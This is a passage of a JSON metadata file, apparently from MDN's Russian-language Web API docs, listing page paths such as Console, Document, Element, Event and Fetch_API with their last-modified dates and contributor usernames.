- "modified": "2019-03-23T22:08:48.787Z",
- "contributors": [
- "FlowerDeLuce"
- ]
- },
- "Web/API/Console/countReset": {
- "modified": "2020-10-15T22:14:44.244Z",
- "contributors": [
- "damirJa"
- ]
- },
- "Web/API/Console/debug": {
- "modified": "2020-11-19T07:02:35.541Z",
- "contributors": [
- "m0nclous",
- "ekirpichyov"
- ]
- },
- "Web/API/Console/dir": {
- "modified": "2019-04-03T11:56:01.265Z",
- "contributors": [
- "Dzvonek",
- "Polina",
- "einomi",
- "NovikovViktor"
- ]
- },
- "Web/API/Console/dirxml": {
- "modified": "2020-10-15T22:04:45.997Z",
- "contributors": [
- "snegovik.dev",
- "MindWorm"
- ]
- },
- "Web/API/Console/error": {
- "modified": "2019-03-23T22:10:04.839Z",
- "contributors": [
- "csepanda"
- ]
- },
- "Web/API/Console/group": {
- "modified": "2019-03-23T22:03:18.640Z",
- "contributors": [
- "vilyus"
- ]
- },
- "Web/API/Console/info": {
- "modified": "2019-03-23T22:27:55.127Z",
- "contributors": [
- "pk.prog",
- "nontrip"
- ]
- },
- "Web/API/Console/log": {
- "modified": "2020-10-15T21:39:00.717Z",
- "contributors": [
- "aleshkanet",
- "IgorPuchkov2003",
- "alfill",
- "pk.prog",
- "Bargamut",
- "Lukavyi"
- ]
- },
- "Web/API/Console/profile": {
- "modified": "2020-10-15T21:54:55.312Z",
- "contributors": [
- "ekirpichyov",
- "RslnMtvv"
- ]
- },
- "Web/API/Console/table": {
- "modified": "2019-11-28T12:52:39.225Z",
- "contributors": [
- "1cepeak",
- "xefimx"
- ]
- },
- "Web/API/Console/time": {
- "modified": "2020-10-15T21:37:02.751Z",
- "contributors": [
- "Mialik-Kirill-Sergeevich",
- "SphinxKnight",
- "ekirpichyov",
- "YozhEzhi",
- "terranisu"
- ]
- },
- "Web/API/Console/timeEnd": {
- "modified": "2020-10-15T21:29:08.226Z",
- "contributors": [
- "Arhidimon",
- "ekirpichyov",
- "teoli",
- "Aleksej",
- "fscholz",
- "AshfaqHossain",
- "Troynov"
- ]
- },
- "Web/API/Console/timeLog": {
- "modified": "2020-10-15T22:12:51.490Z",
- "contributors": [
- "ekirpichyov",
- "evilandfox"
- ]
- },
- "Web/API/Console/timeStamp": {
- "modified": "2020-10-15T22:22:33.891Z",
- "contributors": [
- "ekirpichyov"
- ]
- },
- "Web/API/Console/trace": {
- "modified": "2020-10-15T21:56:15.688Z",
- "contributors": [
- "Solant",
- "nikitaermishin"
- ]
- },
- "Web/API/Console/warn": {
- "modified": "2020-10-15T22:00:31.979Z",
- "contributors": [
- "ekirpichyov",
- "ArtemPolanskiy"
- ]
- },
- "Web/API/Console_API": {
- "modified": "2020-10-15T22:22:34.778Z",
- "contributors": [
- "ekirpichyov"
- ]
- },
- "Web/API/Credential_Management_API": {
- "modified": "2020-10-25T11:26:45.569Z",
- "contributors": [
- "beltimor"
- ]
- },
- "Web/API/Crypto": {
- "modified": "2020-10-15T21:40:08.938Z",
- "contributors": [
- "Echzio",
- "boxa6",
- "Goudron",
- "fpavlik",
- "judgegc",
- "whitesunset"
- ]
- },
- "Web/API/CryptoKeyPair": {
- "modified": "2020-10-31T11:34:07.075Z",
- "contributors": [
- "tom93",
- "qkudev"
- ]
- },
- "Web/API/DOMHighResTimeStamp": {
- "modified": "2020-10-15T22:26:00.707Z",
- "contributors": [
- "Kiryhas"
- ]
- },
- "Web/API/DOMParser": {
- "modified": "2019-03-23T14:36:37.538Z",
- "contributors": [
- "dimden",
- "warsan",
- "t1gor",
- "Ihewaz"
- ]
- },
- "Web/API/DOMString": {
- "modified": "2019-03-23T22:53:48.183Z",
- "contributors": [
- "WispProxy",
- "mxxn",
- "AlexAlex"
- ]
- },
- "Web/API/DOMStringList": {
- "modified": "2019-03-23T22:43:35.765Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/DOMStringMap": {
- "modified": "2020-10-15T21:57:58.142Z",
- "contributors": [
- "wbamberg",
- "boxa6",
- "pmswga"
- ]
- },
- "Web/API/DOMTokenList": {
- "modified": "2020-10-15T22:24:02.860Z",
- "contributors": [
- "kalys0894"
- ]
- },
- "Web/API/DOMTokenList/replace": {
- "modified": "2020-12-06T13:47:45.615Z",
- "contributors": [
- "kosarev_va"
- ]
- },
- "Web/API/DataTransfer": {
- "modified": "2019-03-28T08:23:35.580Z",
- "contributors": [
- "ramamedov89",
- "csepanda",
- "iamelru",
- "murtukov",
- "fscholz",
- "Erkon"
- ]
- },
- "Web/API/Document": {
- "modified": "2020-11-06T07:05:11.786Z",
- "contributors": [
- "Yerokhov",
- "YozhEzhi",
- "m.onyshchuk",
- "fscholz"
- ]
- },
- "Web/API/Document/DOMContentLoaded_event": {
- "modified": "2020-10-15T22:22:45.751Z",
- "contributors": [
- "VadimShchukin"
- ]
- },
- "Web/API/Document/Document": {
- "modified": "2020-10-15T22:00:03.206Z",
- "contributors": [
- "boxa6",
- "Horuslllll"
- ]
- },
- "Web/API/Document/URL": {
- "modified": "2020-10-15T21:34:32.396Z",
- "contributors": [
- "boxa6",
- "esskia"
- ]
- },
- "Web/API/Document/activeElement": {
- "modified": "2019-03-23T23:07:52.737Z",
- "contributors": [
- "wbamberg",
- "fscholz",
- "mrDinckleman",
- "my8bit"
- ]
- },
- "Web/API/Document/alinkColor": {
- "modified": "2020-10-15T21:56:03.837Z",
- "contributors": [
- "boxa6",
- "SphinxKnight",
- "pi0ne3r"
- ]
- },
- "Web/API/Document/all": {
- "modified": "2020-10-15T22:22:27.853Z",
- "contributors": [
- "3elenkovskiy"
- ]
- },
- "Web/API/Document/anchors": {
- "modified": "2020-10-15T21:39:17.946Z",
- "contributors": [
- "boxa6",
- "wbamberg",
- "aethawalka"
- ]
- },
- "Web/API/Document/applets": {
- "modified": "2020-10-15T21:39:17.454Z",
- "contributors": [
- "boxa6",
- "aethawalka"
- ]
- },
- "Web/API/Document/async": {
- "modified": "2019-04-24T21:17:23.958Z",
- "contributors": [
- "borseno"
- ]
- },
- "Web/API/Document/bgColor": {
- "modified": "2020-10-15T21:46:27.977Z",
- "contributors": [
- "boxa6",
- "SphinxKnight",
- "m.onyshchuk"
- ]
- },
- "Web/API/Document/body": {
- "modified": "2020-10-15T21:39:20.026Z",
- "contributors": [
- "boxa6",
- "Leo240",
- "aethawalka"
- ]
- },
- "Web/API/Document/characterSet": {
- "modified": "2019-03-23T22:46:44.949Z",
- "contributors": [
- "aethawalka"
- ]
- },
- "Web/API/Document/close": {
- "modified": "2020-10-15T21:52:01.801Z",
- "contributors": [
- "boxa6",
- "wenzor",
- "through-a-haze"
- ]
- },
- "Web/API/Document/compatMode": {
- "modified": "2019-03-18T20:59:10.493Z",
- "contributors": [
- "SphinxKnight",
- "aethawalka"
- ]
- },
- "Web/API/Document/contentType": {
- "modified": "2019-03-23T22:29:27.118Z",
- "contributors": [
- "shevchenko"
- ]
- },
- "Web/API/Document/cookie": {
- "modified": "2020-10-15T21:42:31.673Z",
- "contributors": [
- "JohnPier",
- "wadzari",
- "boxa6",
- "SphinxKnight",
- "alik0211",
- "Drag46",
- "beautifulSuicide",
- "ykshatroff",
- "c01nd01r"
- ]
- },
- "Web/API/Document/createAttribute": {
- "modified": "2020-10-15T22:22:35.181Z",
- "contributors": [
- "ellizii"
- ]
- },
- "Web/API/Document/createComment": {
- "modified": "2019-03-23T23:09:36.882Z",
- "contributors": [
- "fscholz",
- "jsx",
- "KiraAndMaxim"
- ]
- },
- "Web/API/Document/createDocumentFragment": {
- "modified": "2019-03-23T22:13:19.093Z",
- "contributors": [
- "iamelru"
- ]
- },
- "Web/API/Document/createRange": {
- "modified": "2019-03-23T22:25:38.380Z",
- "contributors": [
- "vKuka",
- "AlexanderTserkovniy",
- "zede"
- ]
- },
- "Web/API/Document/createTextNode": {
- "modified": "2019-03-23T22:28:24.541Z",
- "contributors": [
- "DarkHole1",
- "boldyrevap"
- ]
- },
- "Web/API/Document/createTreeWalker": {
- "modified": "2020-10-15T22:17:31.014Z",
- "contributors": [
- "ivasyutaalexey"
- ]
- },
- "Web/API/Document/currentScript": {
- "modified": "2019-03-23T22:30:10.015Z",
- "contributors": [
- "wbamberg",
- "rand0me"
- ]
- },
- "Web/API/Document/defaultView": {
- "modified": "2020-10-15T21:37:39.375Z",
- "contributors": [
- "boxa6",
- "nakhodkiin",
- "SergeyShvager"
- ]
- },
- "Web/API/Document/designMode": {
- "modified": "2020-10-15T21:31:18.461Z",
- "contributors": [
- "chrisdavidmills",
- "boxa6",
- "N3stY",
- "fscholz",
- "ang.reload"
- ]
- },
- "Web/API/Document/dir": {
- "modified": "2020-10-15T21:58:20.523Z",
- "contributors": [
- "boxa6",
- "boom5251"
- ]
- },
- "Web/API/Document/doctype": {
- "modified": "2020-10-15T22:00:11.590Z",
- "contributors": [
- "ekirpichyov",
- "Horuslllll"
- ]
- },
- "Web/API/Document/documentElement": {
- "modified": "2019-03-23T22:20:33.295Z",
- "contributors": [
- "HennesyXO"
- ]
- },
- "Web/API/Document/documentURI": {
- "modified": "2019-03-23T22:32:53.776Z",
- "contributors": [
- "m.onyshchuk"
- ]
- },
- "Web/API/Document/documentURIObject": {
- "modified": "2019-03-18T21:45:23.722Z",
- "contributors": [
- "Horuslllll"
- ]
- },
- "Web/API/Document/domain": {
- "modified": "2020-10-15T22:00:11.368Z",
- "contributors": [
- "boxa6",
- "nikolaifedorov",
- "Horuslllll"
- ]
- },
- "Web/API/Document/dragstart_event": {
- "modified": "2020-10-15T22:21:52.889Z",
- "contributors": [
- "Dzvonek"
- ]
- },
- "Web/API/Document/embeds": {
- "modified": "2020-10-15T21:50:45.207Z",
- "contributors": [
- "boxa6",
- "samgozman"
- ]
- },
- "Web/API/Document/evaluate": {
- "modified": "2020-10-15T21:54:16.423Z",
- "contributors": [
- "102",
- "impulsgraw"
- ]
- },
- "Web/API/Document/execCommand": {
- "modified": "2020-07-28T03:37:21.714Z",
- "contributors": [
- "art-gur",
- "SedovDP",
- "invwax",
- "Xmaksss",
- "WispProxy",
- "patsuckow",
- "N3stY",
- "Ivanq",
- "jt3k",
- "sshest",
- "fscholz",
- "ang.reload"
- ]
- },
- "Web/API/Document/forms": {
- "modified": "2020-10-15T21:34:39.205Z",
- "contributors": [
- "constantkek",
- "zuzuru",
- "ivasyutaalexey",
- "boxa6",
- "BychekRU"
- ]
- },
- "Web/API/Document/getElementById": {
- "modified": "2019-03-23T22:26:59.980Z",
- "contributors": [
- "alexandr-krylov",
- "s3rgp4r0dy",
- "SergeyM",
- "ZZPot"
- ]
- },
- "Web/API/Document/getElementsByClassName": {
- "modified": "2019-03-23T22:58:15.032Z",
- "contributors": [
- "DzhanikM",
- "shaman771",
- "m.onyshchuk",
- "goodwin64",
- "loki2d",
- "lazyexpert"
- ]
- },
- "Web/API/Document/getElementsByName": {
- "modified": "2020-10-15T22:19:17.150Z",
- "contributors": [
- "virbenka"
- ]
- },
- "Web/API/Document/getElementsByTagName": {
- "modified": "2019-03-23T22:55:54.489Z",
- "contributors": [
- "surrsoft"
- ]
- },
- "Web/API/Document/getSelection": {
- "modified": "2019-03-23T22:34:05.751Z",
- "contributors": [
- "YakovL"
- ]
- },
- "Web/API/Document/hasFocus": {
- "modified": "2019-03-23T22:22:10.182Z",
- "contributors": [
- "jaguar7021",
- "talgautb"
- ]
- },
- "Web/API/Document/head": {
- "modified": "2020-10-15T21:41:14.878Z",
- "contributors": [
- "Sveagruva",
- "boxa6",
- "Leo240"
- ]
- },
- "Web/API/Document/height": {
- "modified": "2020-10-15T21:56:42.718Z",
- "contributors": [
- "boxa6",
- "goodleby"
- ]
- },
- "Web/API/Document/hidden": {
- "modified": "2020-10-15T22:28:51.917Z",
- "contributors": [
- "i0tool5"
- ]
- },
- "Web/API/Document/importNode": {
- "modified": "2020-10-15T22:18:57.100Z",
- "contributors": [
- "mazzzaj",
- "NikolayIlichev"
- ]
- },
- "Web/API/Document/keypress_event": {
- "modified": "2019-07-10T08:18:16.995Z",
- "contributors": [
- "sergalemasov",
- "chrisdavidmills",
- "MasterLuiji19",
- "karasik"
- ]
- },
- "Web/API/Document/links": {
- "modified": "2020-10-15T21:49:25.799Z",
- "contributors": [
- "boxa6",
- "nik3402",
- "N3stY"
- ]
- },
- "Web/API/Document/location": {
- "modified": "2020-10-15T21:38:46.139Z",
- "contributors": [
- "boxa6",
- "aethawalka"
- ]
- },
- "Web/API/Document/origin": {
- "modified": "2019-03-23T22:40:35.301Z",
- "contributors": [
- "vyushin"
- ]
- },
- "Web/API/Document/querySelector": {
- "modified": "2020-10-15T21:27:25.041Z",
- "contributors": [
- "yuri.chernyshov",
- "ViktorWizard",
- "Khaidarov-Dinar",
- "ironCat",
- "gudkovdanila",
- "xapdkop",
- "newallure",
- "wizion",
- "boxa6",
- "SmartRW",
- "NetVetal",
- "indieveed",
- "SlavaJan",
- "BychekRU",
- "Geraldus",
- "fscholz",
- "khalid32",
- "thisninja"
- ]
- },
- "Web/API/Document/querySelectorAll": {
- "modified": "2020-10-15T21:29:31.904Z",
- "contributors": [
- "ekirpichyov",
- "niktariy",
- "ZeroGravity-82",
- "FeliciaJess",
- "Ryabikovalex",
- "vittorio-tortugo",
- "fscholz",
- "AlexyAV"
- ]
- },
- "Web/API/Document/readyState": {
- "modified": "2020-12-05T12:01:13.067Z",
- "contributors": [
- "DenisRaynor",
- "trepven",
- "boxa6",
- "termosa"
- ]
- },
- "Web/API/Document/referrer": {
- "modified": "2020-10-15T21:37:05.731Z",
- "contributors": [
- "alexxxxkkk",
- "boxa6",
- "Kochetkoff",
- "Vlad.Abdullin"
- ]
- },
- "Web/API/Document/registerElement": {
- "modified": "2019-03-23T22:53:06.025Z",
- "contributors": [
- "DenVdmj"
- ]
- },
- "Web/API/Document/scripts": {
- "modified": "2019-03-23T22:33:09.075Z",
- "contributors": [
- "fondad"
- ]
- },
- "Web/API/Document/scroll_event": {
- "modified": "2020-10-15T21:32:06.238Z",
- "contributors": [
- "mcmimik",
- "onair",
- "YozhEzhi",
- "MistakeOfNature",
- "irenesmith",
- "fscholz",
- "jt3k"
- ]
- },
- "Web/API/Document/write": {
- "modified": "2019-03-23T22:09:15.807Z",
- "contributors": [
- "wenzor"
- ]
- },
- "Web/API/Document/writeln": {
- "modified": "2019-03-23T22:59:12.181Z",
- "contributors": [
- "x1unix"
- ]
- },
- "Web/API/DocumentFragment": {
- "modified": "2019-08-28T05:06:56.833Z",
- "contributors": [
- "A1edan",
- "KarafiziArthur",
- "tarkus",
- "vgsdesign"
- ]
- },
- "Web/API/EffectTiming": {
- "modified": "2020-10-15T22:29:01.473Z",
- "contributors": [
- "Kami-san"
- ]
- },
- "Web/API/Element": {
- "modified": "2020-10-15T21:21:45.874Z",
- "contributors": [
- "abscess",
- "ellizii",
- "Yialo",
- "YozhEzhi",
- "Akh-rman",
- "fscholz",
- "jarcko",
- "Oaphi",
- "coderoma",
- "TemmyR",
- "vladlipski",
- "SedovDP",
- "feedlike",
- "ugg555",
- "khalid32",
- "datasheet"
- ]
- },
- "Web/API/Element/accessKey": {
- "modified": "2019-03-23T22:51:14.902Z",
- "contributors": [
- "In4in"
- ]
- },
- "Web/API/Element/animate": {
- "modified": "2020-10-15T22:22:29.537Z",
- "contributors": [
- "Kami-san",
- "Yialo"
- ]
- },
- "Web/API/Element/attachShadow": {
- "modified": "2020-10-15T21:57:11.880Z",
- "contributors": [
- "klimentru1986",
- "Sparks"
- ]
- },
- "Web/API/Element/attributes": {
- "modified": "2019-03-23T22:53:08.762Z",
- "contributors": [
- "get-web",
- "alexvarboffin"
- ]
- },
- "Web/API/Element/classList": {
- "modified": "2019-08-28T05:50:21.425Z",
- "contributors": [
- "Bargamut",
- "karataev",
- "In4in",
- "r3b-fish",
- "rodweb"
- ]
- },
- "Web/API/Element/className": {
- "modified": "2019-03-23T22:51:17.806Z",
- "contributors": [
- "In4in"
- ]
- },
- "Web/API/Element/clientHeight": {
- "modified": "2019-03-18T20:59:12.405Z",
- "contributors": [
- "SphinxKnight",
- "EuheniaZhdanovich",
- "sumthief",
- "goodhousekeeper"
- ]
- },
- "Web/API/Element/clientLeft": {
- "modified": "2020-10-15T22:15:01.017Z",
- "contributors": [
- "AlexNikonov"
- ]
- },
- "Web/API/Element/clientTop": {
- "modified": "2020-10-15T21:34:11.092Z",
- "contributors": [
- "daniil-loban",
- "ekirpichyov",
- "SphinxKnight",
- "systemcss",
- "Vasia"
- ]
- },
- "Web/API/Element/clientWidth": {
- "modified": "2020-10-15T22:21:19.196Z",
- "contributors": [
- "ekirpichyov",
- "karasik"
- ]
- },
- "Web/API/Element/closest": {
- "modified": "2020-10-15T21:37:40.673Z",
- "contributors": [
- "tohaly",
- "Yialo",
- "YozhEzhi",
- "sahmildzhakeev",
- "u_mulder",
- "ebuster",
- "akaguny",
- "AlexOvchinkin",
- "SeanSilke",
- "vittorio-tortugo",
- "In4in"
- ]
- },
- "Web/API/Element/createShadowRoot": {
- "modified": "2019-03-18T21:17:10.452Z",
- "contributors": [
- "Sparks"
- ]
- },
- "Web/API/Element/currentStyle": {
- "modified": "2020-10-15T22:29:46.179Z",
- "contributors": [
- "RenatTOP"
- ]
- },
- "Web/API/Element/getAttribute": {
- "modified": "2019-03-23T23:38:18.704Z",
- "contributors": [
- "BychekRU",
- "fscholz",
- "khalid32",
- "zipp3r"
- ]
- },
- "Web/API/Element/getBoundingClientRect": {
- "modified": "2020-10-15T21:27:33.547Z",
- "contributors": [
- "GoliafRS",
- "kan.a",
- "mary98Chess",
- "SphinxKnight",
- "sumthief",
- "x-in",
- "whoever777",
- "alexandr-parkhomenko",
- "fscholz",
- "Niades",
- "torbasow"
- ]
- },
- "Web/API/Element/getElementsByClassName": {
- "modified": "2019-03-23T22:47:48.885Z",
- "contributors": [
- "SedovDP",
- "loki2d"
- ]
- },
- "Web/API/Element/getElementsByTagName": {
- "modified": "2019-03-23T22:20:23.264Z",
- "contributors": [
- "dedotmoroz",
- "greyHorseM"
- ]
- },
- "Web/API/Element/hasAttribute": {
- "modified": "2019-03-23T22:43:15.597Z",
- "contributors": [
- "arturparkhisenko"
- ]
- },
- "Web/API/Element/hasAttributes": {
- "modified": "2019-03-18T21:32:55.747Z",
- "contributors": [
- "Woldemar1086"
- ]
- },
- "Web/API/Element/id": {
- "modified": "2019-08-28T05:52:50.715Z",
- "contributors": [
- "Yialo",
- "goplon",
- "BychekRU"
- ]
- },
- "Web/API/Element/innerHTML": {
- "modified": "2020-10-30T16:20:53.506Z",
- "contributors": [
- "nstansfield",
- "M4r5ha11",
- "touze147",
- "Dinow-Alice",
- "ekirpichyov",
- "FrankieSR",
- "SphinxKnight",
- "Silversworld",
- "dedotmoroz",
- "SergKorol"
- ]
- },
- "Web/API/Element/insertAdjacentElement": {
- "modified": "2020-10-15T22:04:14.603Z",
- "contributors": [
- "torbasow",
- "ekirpichyov",
- "fanich37"
- ]
- },
- "Web/API/Element/insertAdjacentHTML": {
- "modified": "2020-10-15T21:26:41.504Z",
- "contributors": [
- "SadCat88",
- "ekirpichyov",
- "AjiTae",
- "mms27",
- "fscholz",
- "khalid32",
- "BaNru"
- ]
- },
- "Web/API/Element/insertAdjacentText": {
- "modified": "2020-10-15T21:58:18.083Z",
- "contributors": [
- "ekirpichyov",
- "dedotmoroz"
- ]
- },
- "Web/API/Element/keydown_event": {
- "modified": "2020-10-15T22:22:43.697Z",
- "contributors": [
- "ekirpichyov"
- ]
- },
- "Web/API/Element/keyup_event": {
- "modified": "2020-10-15T22:22:43.545Z",
- "contributors": [
- "ekirpichyov"
- ]
- },
- "Web/API/Element/matches": {
- "modified": "2019-03-23T22:51:31.844Z",
- "contributors": [
- "Orlovis69",
- "GoodLuck",
- "In4in"
- ]
- },
- "Web/API/Element/mousedown_event": {
- "modified": "2019-03-23T21:59:56.260Z",
- "contributors": [
- "irenesmith",
- "fscholz",
- "arhad"
- ]
- },
- "Web/API/Element/mouseenter_event": {
- "modified": "2020-10-15T22:31:09.868Z",
- "contributors": [
- "alexandr-krylov"
- ]
- },
- "Web/API/Element/mouseleave_event": {
- "modified": "2019-04-30T14:24:03.709Z",
- "contributors": [
- "wbamberg",
- "irenesmith",
- "Corba",
- "eof273",
- "merelj"
- ]
- },
- "Web/API/Element/mouseup_event": {
- "modified": "2020-10-15T22:29:01.651Z",
- "contributors": [
- "StanEffy"
- ]
- },
- "Web/API/Element/outerHTML": {
- "modified": "2019-08-21T13:06:11.010Z",
- "contributors": [
- "l_MrBoom_l",
- "volter9"
- ]
- },
- "Web/API/Element/querySelector": {
- "modified": "2019-09-04T10:42:40.953Z",
- "contributors": [
- "wowbios",
- "AlexSnowLeo"
- ]
- },
- "Web/API/Element/querySelectorAll": {
- "modified": "2020-10-15T21:34:12.073Z",
- "contributors": [
- "YozhEzhi",
- "rusekr",
- "wbamberg",
- "overnight",
- "torbasow",
- "romadoma"
- ]
- },
- "Web/API/Element/removeAttribute": {
- "modified": "2019-03-23T22:15:25.427Z",
- "contributors": [
- "bustEXZ"
- ]
- },
- "Web/API/Element/requestPointerLock": {
- "modified": "2019-03-23T22:48:12.803Z",
- "contributors": [
- "Luanre"
- ]
- },
- "Web/API/Element/scrollHeight": {
- "modified": "2020-08-19T06:28:57.155Z",
- "contributors": [
- "scrum",
- "SphinxKnight",
- "werreour",
- "BychekRU",
- "acost"
- ]
- },
- "Web/API/Element/scrollIntoView": {
- "modified": "2020-10-15T21:37:50.318Z",
- "contributors": [
- "ekirpichyov",
- "the_ghost",
- "Forshortmrmeth",
- "gentoonofb"
- ]
- },
- "Web/API/Element/scrollLeft": {
- "modified": "2019-03-18T20:59:11.522Z",
- "contributors": [
- "SphinxKnight",
- "BychekRU"
- ]
- },
- "Web/API/Element/scrollTo": {
- "modified": "2020-10-15T22:21:28.669Z",
- "contributors": [
- "SuperSurok"
- ]
- },
- "Web/API/Element/scrollTop": {
- "modified": "2020-10-15T21:40:02.907Z",
- "contributors": [
- "YozhEzhi",
- "Devinora",
- "Natalya_Surikova",
- "BychekRU"
- ]
- },
- "Web/API/Element/setAttribute": {
- "modified": "2020-09-12T18:32:00.501Z",
- "contributors": [
- "andrewsmnv",
- "BychekRU",
- "kirill001"
- ]
- },
- "Web/API/Element/slot": {
- "modified": "2020-10-15T22:18:20.103Z",
- "contributors": [
- "Yialo",
- "Akh-rman"
- ]
- },
- "Web/API/Element/tagName": {
- "modified": "2019-03-23T22:51:31.324Z",
- "contributors": [
- "Realetive",
- "In4in"
- ]
- },
- "Web/API/Event": {
- "modified": "2019-08-14T12:21:25.951Z",
- "contributors": [
- "pk.prog",
- "emil4",
- "Sasha4ever"
- ]
- },
- "Web/API/Event/Comparison_of_Event_Targets": {
- "modified": "2019-03-18T21:46:09.700Z",
- "contributors": [
- "ademaro"
- ]
- },
- "Web/API/Event/Event": {
- "modified": "2020-10-15T21:57:32.652Z",
- "contributors": [
- "zardo96",
- "fscholz",
- "Lazy_Den",
- "ilyacuc"
- ]
- },
- "Web/API/Event/bubbles": {
- "modified": "2020-07-29T08:22:35.163Z",
- "contributors": [
- "manInit",
- "stranger777"
- ]
- },
- "Web/API/Event/cancelable": {
- "modified": "2019-03-23T22:39:32.084Z",
- "contributors": [
- "kaorub"
- ]
- },
- "Web/API/Event/currentTarget": {
- "modified": "2020-06-22T14:59:24.050Z",
- "contributors": [
- "rost-ed",
- "kaorub"
- ]
- },
- "Web/API/Event/defaultPrevented": {
- "modified": "2019-03-25T19:35:57.950Z",
- "contributors": [
- "nakhodkiin",
- "Ollemesh"
- ]
- },
- "Web/API/Event/eventPhase": {
- "modified": "2019-03-23T22:57:51.272Z",
- "contributors": [
- "AlexOldest"
- ]
- },
- "Web/API/Event/initEvent": {
- "modified": "2020-10-15T21:54:19.920Z",
- "contributors": [
- "YozhEzhi",
- "Bargamut",
- "Dimbuch"
- ]
- },
- "Web/API/Event/isTrusted": {
- "modified": "2019-03-23T22:23:19.953Z",
- "contributors": [
- "goodhousekeeper"
- ]
- },
- "Web/API/Event/preventDefault": {
- "modified": "2020-04-06T17:41:45.254Z",
- "contributors": [
- "optimden",
- "ellizii",
- "newbornfrontender",
- "letthecode",
- "Terbiy",
- "__strelkov",
- "icw82"
- ]
- },
- "Web/API/Event/srcElement": {
- "modified": "2019-03-23T22:29:59.457Z",
- "contributors": [
- "Fell-x27"
- ]
- },
- "Web/API/Event/stopImmediatePropagation": {
- "modified": "2019-03-23T22:54:08.539Z",
- "contributors": [
- "qertis"
- ]
- },
- "Web/API/Event/stopPropagation": {
- "modified": "2020-10-15T21:36:37.495Z",
- "contributors": [
- "torbasow",
- "ekirpichyov",
- "hlomzik",
- "Dmatafonov"
- ]
- },
- "Web/API/Event/target": {
- "modified": "2020-07-29T08:06:27.363Z",
- "contributors": [
- "manInit",
- "ellizii",
- "oldmuka",
- "smollalex",
- "f0rmat1k",
- "icw82",
- "Leo240"
- ]
- },
- "Web/API/Event/timeStamp": {
- "modified": "2020-10-15T22:09:29.628Z",
- "contributors": [
- "VaselisaS"
- ]
- },
- "Web/API/Event/type": {
- "modified": "2019-05-13T01:14:41.091Z",
- "contributors": [
- "ahtohbi4"
- ]
- },
- "Web/API/EventListener": {
- "modified": "2020-08-18T17:11:27.001Z",
- "contributors": [
- "proshka",
- "Bargamut",
- "m-kon",
- "daydarkln",
- "insafski",
- "einperegrin"
- ]
- },
- "Web/API/EventSource": {
- "modified": "2020-10-15T21:38:17.102Z",
- "contributors": [
- "YozhEzhi",
- "bakugod",
- "wbamberg",
- "iketari",
- "madzhuga",
- "hinduCoder"
- ]
- },
- "Web/API/EventTarget": {
- "modified": "2019-07-13T07:57:24.023Z",
- "contributors": [
- "Dzvonek",
- "leann-fraoigh",
- "paulvoloschuk",
- "vvscode",
- "fscholz"
- ]
- },
- "Web/API/EventTarget/EventTarget": {
- "modified": "2020-10-15T22:04:45.798Z",
- "contributors": [
- "Sparks"
- ]
- },
- "Web/API/EventTarget/addEventListener": {
- "modified": "2020-10-15T21:32:58.525Z",
- "contributors": [
- "isakura313",
- "SphinxKnight",
- "in02emt5ev",
- "VadimShchukin",
- "YozhEzhi",
- "ConstantineZz",
- "biggieman",
- "Roman-Kosov",
- "vivcogit",
- "inomn",
- "WispProxy",
- "livalex",
- "FlashbangSW",
- "hom3chuk",
- "DeDuck333",
- "DavidWebb",
- "mxxn",
- "Logual",
- "vgsdesign",
- "SergeyGuns",
- "ggcstop",
- "zzzunyazz",
- "Tankerxyz",
- "torbasow",
- "Al1",
- "dood",
- "fscholz",
- "AlexChuev"
- ]
- },
- "Web/API/EventTarget/attachEvent": {
- "modified": "2019-03-23T22:07:44.594Z",
- "contributors": [
- "akrom123",
- "paulvoloschuk"
- ]
- },
- "Web/API/EventTarget/detachEvent": {
- "modified": "2019-03-23T22:07:41.302Z",
- "contributors": [
- "paulvoloschuk"
- ]
- },
- "Web/API/EventTarget/dispatchEvent": {
- "modified": "2020-10-15T21:20:41.807Z",
- "contributors": [
- "YozhEzhi",
- "vetraz",
- "bagau",
- "zhitkovkostya",
- "Taimayr",
- "DzmVasileusky",
- "FeelUs",
- "fscholz",
- "soumya",
- "teoli",
- "anton1500m"
- ]
- },
- "Web/API/EventTarget/removeEventListener": {
- "modified": "2020-10-15T21:34:32.581Z",
- "contributors": [
- "YozhEzhi",
- "ConstantineZz",
- "12kb",
- "Chudesnov",
- "S-le",
- "antonsubbotin",
- "Pasquill",
- "YuliaTsareva",
- "vitya-ne",
- "ademaro",
- "starforce"
- ]
- },
- "Web/API/ExtendableEvent": {
- "modified": "2020-10-15T22:31:37.347Z",
- "contributors": [
- "Wind1808"
- ]
- },
- "Web/API/ExtendableEvent/waitUntil": {
- "modified": "2020-10-15T22:31:37.681Z",
- "contributors": [
- "AlexanderTserkovniy"
- ]
- },
- "Web/API/FetchEvent": {
- "modified": "2020-10-15T22:26:01.375Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/Fetch_API": {
- "modified": "2020-12-03T14:12:40.372Z",
- "contributors": [
- "lidahp",
- "torbasow",
- "DASenkiv",
- "hcodes",
- "bershanskiy",
- "qqwweeaassdd",
- "WispProxy",
- "aleshkanet",
- "marichka4345",
- "Aleynikov_Boris",
- "Miha-x64",
- "karatheodory",
- "RumyantsevMichael",
- "sashashakun",
- "visortelle",
- "savelevcorr"
- ]
- },
- "Web/API/Fetch_API/Cross-global_fetch_usage": {
- "modified": "2019-03-18T21:00:16.677Z",
- "contributors": [
- "Akh-rman",
- "qqwweeaassdd"
- ]
- },
- "Web/API/Fetch_API/Using_Fetch": {
- "modified": "2020-03-12T12:40:18.070Z",
- "contributors": [
- "morgunov.vitaly",
- "Chukhryaev",
- "vetraz",
- "Zulcom",
- "Akh-rman",
- "ncux199rus",
- "zhvirblis",
- "Neiromaster",
- "thepocp",
- "moskitos80",
- "InoY",
- "Bargamut",
- "Scion",
- "bad4iz"
- ]
- },
- "Web/API/File": {
- "modified": "2020-10-15T21:44:17.672Z",
- "contributors": [
- "YozhEzhi",
- "tjbulick",
- "alexx-grand",
- "nikitaermishin",
- "WispProxy",
- "S-le",
- "Helen4gu",
- "MuradAz"
- ]
- },
- "Web/API/File/Using_files_from_web_applications": {
- "modified": "2020-11-17T16:11:16.608Z",
- "contributors": [
- "Zarin417",
- "grebenyukov",
- "Sc4ramouche",
- "glowlh",
- "vovanx",
- "jeetiss",
- "pottsnoc",
- "chrisdavidmills",
- "Coshrurnina",
- "13af",
- "Sub-hero",
- "L-st",
- "nirta",
- "Lambrusco.pro"
- ]
- },
- "Web/API/File/fileName": {
- "modified": "2019-03-23T22:09:17.877Z",
- "contributors": [
- "Ferguse"
- ]
- },
- "Web/API/File/getAsDataURL": {
- "modified": "2019-03-23T22:18:17.148Z",
